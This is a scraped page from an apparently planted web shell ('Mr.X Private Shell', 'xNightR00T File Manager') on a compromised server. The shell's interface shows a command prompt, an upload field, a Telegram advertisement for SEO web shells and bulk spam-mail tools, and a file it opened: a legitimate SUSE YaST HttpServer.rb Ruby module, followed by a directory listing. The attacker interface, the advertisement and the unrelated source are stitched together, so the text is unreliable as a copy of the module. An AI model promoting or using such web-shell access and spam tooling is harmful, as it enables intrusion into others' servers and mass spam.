xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/HttpServer.ycp
# Package:	Configuration of http-server
# Summary:	Data for configuration of http-server, input and output functions.
# Authors:	Stanislav Visnovsky <visnov@suse.cz>
#
# $Id$
#
# Representation of the configuration of http-server.
# Input and output routines.
require "yast"

module Yast
  class HttpServerClass < Module

    include Yast::Logger

    def main
      Yast.import "UI"
      textdomain "http-server"

      Yast.import "YaPI::HTTPD"
      Yast.import "YaST::HTTPDData"
      Yast.import "NetworkInterfaces"
      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Package"
      Yast.import "Service"
      Yast.import "Summary"
      Yast.import "Message"
      Yast.import "Directory"
      Yast.import "Popup"
      Yast.import "DnsServerAPI"
      Yast.import "NetworkService"
      Yast.import "SuSEFirewall"
      Yast.import "Confirm"
      Yast.import "SuSEFirewallServices"
      Yast.import "FileChanges"
      Yast.import "Label"

      # Abort function
      # return boolean return true if abort
      @AbortFunction = nil

      # Required packages
      @required_packages = ["apache2"]

      # Data was modified?
      @modified = false

      @configured = false

      @proposal_valid = false

      # Write only, used during autoinstallation.
      # Don't run services and SuSEconfig, it's all done at one place.
      @write_only = false

      @configured_dns = false

      Yast.include self, "http-server/routines.rb"

      # Mapping of IPs to network devices
      @ip2device = {}



      @files_to_check = [
        "/etc/sysconfig/apache2",
        "/etc/apache2/default-server.conf",
        "/etc/apache2/httpd.conf",
        "/etc/apache2/listen.conf",
        "/etc/apache2/vhosts.d/yast2_vhosts.conf"
      ]

      @vhost_files_to_backup = []
    end

    IGNORED_FILES = ["vhost.template", "vhost-ssl.template"]
    APACHE_VHOSTS_DIR = "/etc/apache2/vhosts.d"

    def dynamic_files_to_check
      files = SCR.Read(path(".target.dir"), APACHE_VHOSTS_DIR)
      files.reject! { |f| IGNORED_FILES.include?(f) }
      files.map! { |f| File.join(APACHE_VHOSTS_DIR, f) }
      log.info "dynamic files: #{files}"
      files
    end

    # Data was modified?
    # @return true if modified
    def Modified
      Builtins.y2debug("modified=%1", @modified)
      @modified
    end

    def isWizardMode
      if {} ==
          SCR.Read(
            path(".target.stat"),
            Ops.add(Directory.vardir, "/http_server")
          )
        return true
      else
        return false
      end
    end

    def setWizardMode(w_mode)
      if w_mode == true
        SCR.Execute(
          path(".target.bash"),
          Builtins.sformat("rm %1%2", Directory.vardir, "/http_server")
        )
        Builtins.y2milestone("Set wizard mode on")
      else
        SCR.Write(
          path(".target.string"),
          Ops.add(Directory.vardir, "/http_server"),
          ""
        )
        Builtins.y2milestone("Set wizard mode off")
      end

      nil
    end

    # Read all http-server settings
    # @return true on success
    def Read
      # HttpServer read dialog caption
      caption = _("Initializing HTTP Server Configuration")

      steps = 4

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # translators: progress stage
          _("Check the environment"),
          # translators: progress stage
          _("Read Apache2 configuration"),
          # translators: progress stage
          _("Read network configuration")
        ],
        [
          # translators: progress step
          _("Checking the environment..."),
          # translators: progress step
          _("Reading Apache2 configuration..."),
          # translators: progress step
          _("Reading network configuration..."),
          # translators: progress finished
          _("Finished")
        ],
        ""
      )

      # check the environment
      return false if !Confirm.MustBeRoot
      return false if !NetworkService.RunningNetworkPopup

      return false if !NetworkService.ConfirmNetworkManager
      Progress.NextStep


      # check rpms
      required = deep_copy(@required_packages)
      if !Package.InstalledAny(
          ["apache2-prefork", "apache2-metuxmpm", "apache2-worker"]
        )
        # add a default MPM - prefork because of the PHP4 compatibility
        required = Convert.convert(
          Builtins.union(required, ["apache2-prefork"]),
          :from => "list",
          :to   => "list <string>"
        )
      end

      if !Package.InstallAllMsg(
          required,
          # notification about package needed 1/2
          _(
            "<p>To configure the HTTP server, the <b>%1</b> packages must be installed.</p>"
          ) +
            # notification about package needed 2/2
            _("<p>Do you want to install it now?</p>")
        )
        if !Package.Available("apache2")
          # translators: error popup before aborting the module
          Popup.Error(
            Builtins.sformat(
              _(
                "The package %1 is not available.\n" +
                  "\n" +
                  "Configuration cannot continue\n" +
                  "\n" +
                  "without installing the package."
              ),
              "apache2"
            )
          )
        else
          # translators: error popup before aborting the module
          Popup.Error(Message.CannotContinueWithoutPackagesInstalled)
        end

        return false
      end



      Progress.NextStep


      # check httpd.conf
      if SCR.Read(path(".target.lstat"), "/etc/apache2/httpd.conf") == {}
        # translators: error message, %1 is the file name of expected configuration file
        Report.Error(
          Builtins.sformat(
            _("The configuration file '%1' does not exist."),
            "/etc/apache2/httpd.conf"
          )
        )
        return false
      end

      # check sysconfig
      if SCR.Read(path(".target.lstat"), "/etc/sysconfig/apache2") == {}
        if SCR.Execute(
            path(".target.bash"),
            "cp /var/adm/fillup-templates/sysconfig.apache2 /etc/sysconfig/apache2"
          ) != 0
          # translators:: error message
          Report.Error(Message.CannotWriteSettingsTo("/etc/sysconfig/apache2"))
          return false
        end
      end

      # check listen.conf
      if SCR.Read(path(".target.lstat"), "/etc/apache2/listen.conf") == {}
        # translators: warning message, %1 is the file name of expected configuration file
        Report.Warning(
          Builtins.sformat(
            _("The configuration file '%1' does not exist."),
            "/etc/apache2/listen.conf"
          )
        )
        # create empty file
        if !SCR.Write(path(".target.string"), "/etc/apache2/listen.conf", "")
          # translators:: error message
          Report.Error(
            Message.CannotWriteSettingsTo("/etc/apache2/listen.conf")
          )
          return false
        end
      end

      old_progress = Progress.set(false) #off();
      SuSEFirewall.Read
      if Package.Installed("bind")
        if Ops.greater_than(
            Builtins.size(
              Convert.to_map(
                SCR.Read(
                  path(".target.stat"),
                  Ops.add(Directory.vardir, "/dns_server")
                )
              )
            ),
            0
          )
          if Service.Status("named") == 0
            @configured_dns = true if DnsServerAPI.Read
          else
            Builtins.y2milestone(
              _("There is no DNS server running on this machine.")
            )
          end
        else
          Builtins.y2warning("DNS server is not correctly configured via YaST.")
        end
      else
        Builtins.y2warning("Package bind is not installed.")
      end
      Builtins.y2internal("DNS running and configured: %1", @configured_dns)
      Progress.set(old_progress) #on();

      # read current settings from httpd.conf and sysconfig
      Progress.NextStage

      # read hosts
      YaST::HTTPDData.ReadHosts
      YaST::HTTPDData.ReadListen
      YaST::HTTPDData.ReadModules
      YaST::HTTPDData.ReadService

      if !FileChanges.CheckFiles(@files_to_check + dynamic_files_to_check())
        return false
      end

      if !FileChanges.CheckNewCreatedFiles(dynamic_files_to_check())
        return false
      end
      @vhost_files_to_backup = FileChanges.created_files(dynamic_files_to_check)

      # check the modules RPMs
      modules = YaST::HTTPDData.GetModuleList
      Builtins.y2milestone("Testing packages for %1", modules)

      Builtins.foreach(modules) do |mod|
        pkgs = YaST::HTTPDData.GetPackagesForModule(mod)
        if Ops.greater_than(Builtins.size(pkgs), 0)
          Yast.import "Package"
          Builtins.y2milestone("Checking packages %1 for module %2", pkgs, mod)

          res = Builtins.find(pkgs) { |pkg| !Package.Installed(pkg) }

          if res != nil
            Builtins.y2milestone(
              "Packages not installed (missing %1), setting %2 as disabled",
              res,
              mod
            )
            YaST::HTTPDData.ModifyModuleList([mod], false)
          end
        end
      end

      Progress.NextStage

      # read current settings for firewall and network
      old_progress = Progress.set(false) #off();
      NetworkInterfaces.Read

      # generate the map: static IP -> device
      @ip2device = { "127.0.0.1" => "loopback" }
      devs = NetworkInterfaces.Locate("BOOTPROTO", "static")
      Builtins.foreach(devs) do |dev|
        # use also additional addresses (#264393)
        Builtins.foreach(NetworkInterfaces.GetIP(dev)) do |ip|
          Ops.set(@ip2device, ip, dev) if ip != nil && ip != ""
        end
      end
      # add DHCP ones, if we can find out the current IP
      devs = NetworkInterfaces.Locate("BOOTPROTO", "dhcp")
      Builtins.foreach(devs) do |dev|
        output = Convert.to_map(
          SCR.Execute(
            path(".target.bash_output"),
            Ops.add("/sbin/ifconfig ", dev),
            { "LC_MESSAGES" => "C" }
          )
        )
        if Ops.get_integer(output, "exit", -1) == 0
          # lookup the correct line first
          line = Builtins.splitstring(
            Ops.get_string(output, "stdout", ""),
            "\n"
          )
          addr = nil
          Builtins.foreach(line) do |ln|
            if Builtins.regexpmatch(ln, "^[ \t]*inet addr:")
              addr = Builtins.regexpsub(
                ln,
                "^[ \t]*inet addr:([0-9\\.]+)[ \t]*",
                "\\1"
              )
              Builtins.y2milestone("Found addr: %1", addr)
              raise Break
            end
          end

          Ops.set(@ip2device, addr, dev) if addr != nil && addr != ""
        end
      end

      Builtins.y2milestone(
        "Mapping of IP addresses and network devices: %1",
        @ip2device
      )


      Progress.set(old_progress) #on();

      # translators: progress step
      ProgressNextStage(_("Finished"))

      return false if Abort()
      @modified = false

      @configured = true

      true
    end

    # Write all http-server settings
    # @return true on success
    def Write
      # HttpServer read dialog caption
      caption = _("Saving HTTP Server Configuration")

      steps = 3

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # translators: progress stage 1/3
          _("Write the Apache2 settings"),
          YaST::HTTPDData.GetService ?
            # translators: progress stage 2/3
            _("Enable Apache2 service") :
            # translators: progress stage 3/3
            _("Disable Apache2 service")
        ],
        [
          # translators: progress step 1/3
          _("Writing the settings..."),
          YaST::HTTPDData.GetService ?
            # translators: progress step 2/3
            _("Enabling Apache2 service...") :
            # translators: progress step 3/3
            _("Disabling Apache2 service..."),
          # translators: progress finished
          _("Finished")
        ],
        ""
      )

      # write Apache2 settings

      rpms = YaPI::HTTPD.GetModulePackages

      # install required RPMs for modules
      Package.InstallAllMsg(
        rpms,
        _(
          "The enabled modules require\n" +
            "installation of some of these additional packages:\n" +
            "%1\n" +
            "Install them now?\n"
        )
      )

      # write httpd.conf

      # write hosts
      backup_vhost_config
      YaST::HTTPDData.WriteHosts
      Progress.NextStage
      Yast.import "SuSEFirewall"
      old_progress = Progress.set(false) # off();

      # always adapt firewall
      if YaST::HTTPDData.WriteListen(false) == nil
        # FIXME: show popup

        Builtins.y2error("Writing listen failed, firewall problems?")
      end

      # Firewall
      ports = []
      Builtins.foreach(YaST::HTTPDData.GetCurrentListen) do |row|
        ports = Builtins.add(ports, Ops.get_string(row, "PORT", ""))
      end
      SuSEFirewallServices.SetNeededPortsAndProtocols(
        "service:apache2",
        { "tcp_ports" => ports, "udp_ports" => [] }
      )

      SuSEFirewall.Write
      DnsServerAPI.Write if @configured_dns
      Progress.set(old_progress)
      YaST::HTTPDData.WriteModuleList
      # in autoyast, quit here
      # Wrong, service still has to be enabled...
      # if( write_only ) return true;


      Progress.NextStage

      if !YaST::HTTPDData.WriteService(@write_only)
        # translators: error message
        Report.Error(Message.CannotAdjustService("apache2"))
      end

      if YaST::HTTPDData.GetService
        # this will reload the configuration and start httpd
        if !Service.Restart("apache2")
          # translators: error message
          Report.Error(Message.CannotAdjustService("apache2"))
        end
      else
        if !Service.Stop("apache2")
          # translators: error message
          Report.Error(Message.CannotAdjustService("apache2"))
        end
      end
      # configuration test
      #	map<string, any> test = (map<string, any>)SCR::Execute(.target.bash_output, "apache2ctl conftest");
      #y2internal("test %1", test);

      (@files_to_check + dynamic_files_to_check()).each do |file|
        FileChanges.StoreFileCheckSum(file)
      end
      # translators: progress finished
      ProgressNextStage(_("Finished"))

      return false if Abort()
      true
    end


    # For module name find description map in known_modules
    # @param [Array<Hash{String => Object>}] known_modules list< map<string,any> > known modules
    # @param [String] mod string module name
    # @return [Hash{String => Object}] module description
    def find_known_module(known_modules, mod)
      known_modules = deep_copy(known_modules)
      res = nil
      Builtins.foreach(known_modules) do |i|
        if Ops.get_string(i, "name", "") == mod
          res = deep_copy(i)
          raise Break
        end
      end

      deep_copy(res)
    end

    # Get all http-server settings from the first parameter
    # (For use by autoinstallation.)
    # @param [Hash] s The YCP map to be imported
    # @return [Boolean] True on success
    def Import(s)
      s = deep_copy(s)
      YaST::HTTPDData.InitializeDefaults

      version = Ops.get_string(s, "version", "unknown")

      # setup modules
      Builtins.foreach(Ops.get_list(s, "modules", [])) do |desc|
        mod = Ops.get_string(desc, "name", "")
        if Builtins.size(mod) == 0
          # translators: warning in autoyast loading the configuration description.
          Report.Warning(
            _("Module description does not have a name specified, ignoring.")
          )
          next
        end
        change_string = Ops.get_string(desc, "change", "nochange")
        # get the default
        defaultstatus = Ops.get_string(desc, "default")
        if change_string != "nochange"
          if !Builtins.contains(["enable", "disable"], change_string)
            # translators: warning in autoyast loading the configuration description.
            Report.Warning(
              Builtins.sformat(
                _("Unknown change of a module for autoinstallation: %1"),
                change_string
              )
            )
            next
          end

          # just change the status
          YaST::HTTPDData.ModifyModuleList([mod], change_string == "enable")
        else
          # check against the current default
          if defaultstatus != nil &&
              Ops.get(
                find_known_module(YaST::HTTPDData.GetKnownModules, mod),
                "default"
              ) != defaultstatus
            # translators: warning in autoyast loading the configuration description.
            Report.Warning(
              Builtins.sformat(
                _(
                  "Default value for module %1 does not match.\nThis can cause inconsistent module configuration."
                ),
                mod
              )
            )
          end
        end
      end

      # setup listen
      listen = Ops.get_list(s, "Listen", [])
      Builtins.foreach(listen) do |l|
        if !Builtins.haskey(l, "PORT")
          # translators: error in autoyast loading the configuration description.
          Report.Error(_("Listen statement without port found."))
        else
          YaST::HTTPDData.CreateListen(
            Builtins.tointeger(Ops.get_string(l, "PORT", "0")),
            Builtins.tointeger(Ops.get_string(l, "PORT", "0")),
            Ops.get_string(l, "ADDRESS", "")
          )
        end
      end

      # setup hosts
      default_server = nil
      Builtins.foreach(Ops.get_list(s, "hosts", [])) do |row|
        # "main" defines the default server configured in
        # /etc/apache2/default-server.conf. This has already been
        # defined in YaPI::HTTPD and has to be updated only.
        # With the CreateHost call an own entry in /etc/apache2/vhosts.d
        # will be generated.
        # (bnc#893100)
        if row["KEY"] == "main"
          default_server = row
        else
          value = row["VALUE"] || []
          key_split = row["KEY"].split("/")
          if value.none? {|item| item["KEY"] == "HostIP"} && key_split.size > 1
            # Set HostIP which is given in the KEY (e.g. *:443/sleposbuilder3.suse.cz.conf)
            # values in order to set VirtualHost in /etc/apache2/vhosts.d/<hostname>
            # (bnc#895127)
            host_ip = key_split.first
            value << {"KEY" => "HostIP", "VALUE" => host_ip}
          end
          YaST::HTTPDData.CreateHost(
            row["KEY"] || "",
            value
          )
        end
      end

      # Every YaST::HTTPDData.CreateHost resets the NameVirtualHost
      # entry in default-server.conf. I do not really know the
      # reason for, but in that case it is not intent (schubi).
      # So, the default server will be modified AFTER all other
      # hosts have been created to get the correct NameVirtualHost entry
      if default_server
        YaST::HTTPDData.ModifyHost(
          default_server["KEY"],
          default_server["VALUE"] || []
        )
      end

      # setup service
      if Builtins.haskey(s, "service")
        YaST::HTTPDData.ModifyService(Ops.get_boolean(s, "service", false))
      end

      @modified = false
      @configured = true

      true
    end

    # Dump the http-server settings to a single map
    # (For use by autoinstallation.)
    # @return [Hash] Dumped settings (later acceptable by Import ())
    def Export
      known_modules = YaST::HTTPDData.GetKnownModules

      enabled_modules = YaST::HTTPDData.GetModuleList

      Builtins.y2milestone("Enabled modules: %1", enabled_modules)

      # walk over the known modules
      modules = Builtins.maplist(known_modules) do |desc|
        {
          "name"    => Ops.get_string(desc, "name", ""),
          "change"  => Ops.get(desc, "default") == "1" ?
            # default is true
            Builtins.contains(enabled_modules, Ops.get_string(desc, "name", "")) ? "nochange" : "disable" :
            # default is false
            Builtins.contains(enabled_modules, Ops.get_string(desc, "name", "")) ? "enable" : "nochange",
          "default" => Ops.get_string(desc, "default", "1")
        }
      end

      # filter out not changed
      modules = Builtins.filter(modules) do |desc|
        Ops.get(desc, "change") != "nochange"
      end

      # store the user defined ones
      Builtins.foreach(enabled_modules) do |mod|
        if find_known_module(known_modules, mod) == nil
          # user-defined
          modules = Builtins.add(
            modules,
            { "name" => mod, "change" => "enable", "userdefined" => true }
          )
        end
      end

      # hosts
      hosts = []
      #listmap (string host, YaST::HTTPDData::GetHostsList(), ``(
      #	$[ "KEY":host, "VALUE":YaST::HTTPDData::GetHost(host) ]
      #    ));
      Builtins.foreach(YaST::HTTPDData.GetHostsList) do |host|
        hosts = Builtins.add(
          hosts,
          { "KEY" => host, "VALUE" => YaST::HTTPDData.GetHost(host) }
        )
      end

      Builtins.y2milestone("Hosts: %1", hosts)

      result = {
        "version" => "2.9",
        "modules" => modules,
        "hosts"   => hosts,
        "Listen"  => YaST::HTTPDData.GetCurrentListen,
        "service" => YaST::HTTPDData.GetService
      }

      @configured = true
      deep_copy(result)
    end

    # Create a textual summary for the current configuration
    # @return summary of the current configuration
    def Summary
      nc = Summary.NotConfigured

      summary = ""
      if @configured
        # "Listen on " information (interfaces, port)
        summary = Summary.AddLine(summary, _("<h3>Listen On</h3>"))
        port = "80"
        interfaces = "127.0.0.1"
        Builtins.foreach(YaST::HTTPDData.GetCurrentListen) do |listens|
          port = Ops.get_string(listens, "PORT", "80")
          if Ops.get_string(listens, "ADDRESS", "") == ""
            interfaces = "all"
          else
            interfaces = Ops.add(
              interfaces,
              Ops.get_string(listens, "ADDRESS", "")
            )
          end
        end
        summary = Summary.AddLine(
          summary,
          Ops.add(Ops.add(interfaces, ", port "), port)
        )

        # "Default host" information
        summary = Summary.AddLine(summary, _("<h3>Default Host</h3>"))
        serv_name = ""
        doc_root = ""
        ssl = false
        Builtins.foreach(YaST::HTTPDData.GetHost("default")) do |params|
          if Ops.get_string(params, "KEY", "") == "ServerName"
            serv_name = Ops.get_string(params, "VALUE", "")
          end
          if Ops.get_string(params, "KEY", "") == "DocumentRoot"
            doc_root = Ops.get_string(params, "VALUE", "")
          end
          if Ops.get_string(params, "KEY", "") == "SSL" &&
              Ops.get_string(params, "VALUE", "") != "0"
            ssl = true
          end
        end
        #translators: assiciation server name with document root
        summary = Summary.AddLine(
          summary,
          Ops.add(Ops.add(serv_name, _(" in ")), doc_root)
        )
        #translators: whether SSL is enabled or disabled
        summary = Summary.AddLine(
          summary,
          "SSL " + (ssl ? _("enabled") : _("disabled"))
        )

        # the same information as in default host but for other virtual hosts
        summary = Summary.AddLine(summary, _("<h3>Virtual Hosts</h3>"))

        Builtins.foreach(YaST::HTTPDData.GetHostsList) do |host|
          next if host == "default"
          Builtins.foreach(YaST::HTTPDData.GetHost(host)) do |params|
            if Ops.get_string(params, "KEY", "") == "ServerName"
              serv_name = Ops.get_string(params, "VALUE", "")
            end
            if Ops.get_string(params, "KEY", "") == "DocumentRoot"
              doc_root = Ops.get_string(params, "VALUE", "")
            end
            if Ops.get_string(params, "KEY", "") == "SSL" &&
                Ops.get_string(params, "VALUE", "") != "0"
              ssl = true
            end
          end
          #translators: assiciation server name with document root
          summary = Summary.AddLine(
            summary,
            Ops.add(
              Ops.add(
                Ops.add(Ops.add(serv_name, _(" in ")), doc_root),
                #translators: whether SSL is enabled or disable
                ", SSL "
              ),
              ssl ? _("enabled") : _("disabled")
            )
          )
        end
      else
        summary = Summary.AddLine(summary, nc)
      end

      [summary, []]
    end

    # Return required packages for auto-installation
    # @return [Hash] of packages to be installed and to be removed
    def AutoPackages
      if !Package.InstalledAny(
          ["apache2-prefork", "apache2-metuxmpm", "apache2-worker"]
        )
        # add a default MPM - prefork because of the PHP4 compatibility
        @required_packages = Convert.convert(
          Builtins.union(@required_packages, ["apache2-prefork"]),
          :from => "list",
          :to   => "list <string>"
        )
      end

      { "install" => @required_packages, "remove" => [] }
    end

    publish :variable => :AbortFunction, :type => "boolean ()"
    publish :variable => :required_packages, :type => "list <string>"
    publish :variable => :modified, :type => "boolean"
    publish :variable => :configured, :type => "boolean"
    publish :variable => :proposal_valid, :type => "boolean"
    publish :variable => :write_only, :type => "boolean"
    publish :variable => :configured_dns, :type => "boolean"
    publish :function => :Modified, :type => "boolean ()"
    publish :function => :Abort, :type => "boolean ()"
    publish :function => :PollAbort, :type => "boolean ()"
    publish :function => :ReallyAbort, :type => "boolean ()"
    publish :function => :ProgressNextStage, :type => "void (string)"
    publish :function => :listen2item, :type => "term (string, integer)"
    publish :function => :listen2map, :type => "map (string)"
    publish :variable => :ip2device, :type => "map <string, string>"
    publish :function => :isWizardMode, :type => "boolean ()"
    publish :function => :setWizardMode, :type => "void (boolean)"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :Export, :type => "map ()"
    publish :function => :Summary, :type => "list ()"
    publish :function => :AutoPackages, :type => "map ()"

  private

    def backup_vhost_config
      return if @vhost_files_to_backup.empty?

      backup_dir = File.join(APACHE_VHOSTS_DIR, "YaSTsave")
      SCR.Execute(path(".target.bash"), "mkdir #{backup_dir}")

      @vhost_files_to_backup.each do |file|
        SCR.Execute(path(".target.bash"), "cp -a #{file} #{backup_dir}")
      end
    end
  end

  HttpServer = HttpServerClass.new
  HttpServer.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
